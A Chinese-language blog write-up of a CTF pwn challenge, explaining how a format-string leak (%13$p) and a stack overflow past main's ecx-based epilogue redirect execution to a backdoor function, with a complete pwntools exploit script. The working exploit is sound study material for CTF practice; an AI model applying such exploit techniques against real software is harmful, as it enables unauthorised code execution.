写在开头
这次的这个小比赛我只写出了一道题,老实说确实有点失望,这次暴露了我在”自己写shellcode“和”直接分析汇编代码“上的不足,还有对”seccomp“相关的保护的不熟悉。
(博主还是菜鸟,有些知识可能理解不够透彻,有些表述可能不够严谨,欢迎大家指正,望大家多多包涵)
pwn-虚假签到
程序保护相关信息:
很明显可以栈溢出,但是它提供了两次机会,而且还可以利用用格式化字符串漏洞
旁边的后门程序写的很直白
看起来只要简单覆盖main函数的返回地址就可以了。但是试了就知道,会出错的。因为IDA的反编译看不清楚到底是什么情况,这时只能看汇编代码:
这里将栈里ebp
的前一块栈赋值到了ecx
,而之后又将esp
改到ecx-4
的栈的位置,所以最终返回执行的是蓝色框部分的地址:
这样就把backdoor
函数放到上图中003c
的位置,为了方便,我们需要知道0024
位置的那个0xffffcfd0
值,经调试,%13$p
即可。
解题脚本:
# -*- coding: utf-8 -*-
from pwn import *
context.log_level = 'debug'
p = process('./qiandao')
payload = '%13$p'
p.sendlineafter('name:', payload)
p.recvuntil('0x')
add = int(p.recv(8), 16)
payload2 = 'A' * 0x24 + p32(add) + p32(0x0804857D) * 6 #这里我没有做精确的覆盖
p.sendlineafter('problem?', payload2)
p.interactive()